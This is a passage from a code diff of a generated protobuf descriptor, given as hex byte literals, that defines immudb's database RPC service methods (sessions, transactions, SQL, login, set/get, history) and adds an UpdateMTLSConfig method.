0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, - 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, + 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, - 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, + 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, - 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, + 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, + 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, - 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, - 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, - 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, - 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, - 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, - 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, - 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, - 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, - 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, - 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, - 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, - 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, - 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, - 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, - 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, - 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, - 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, - 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, + 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, + 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, + 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, + 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, + 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, + 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, + 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, - 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, - 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, - 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, - 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, - 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, - 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 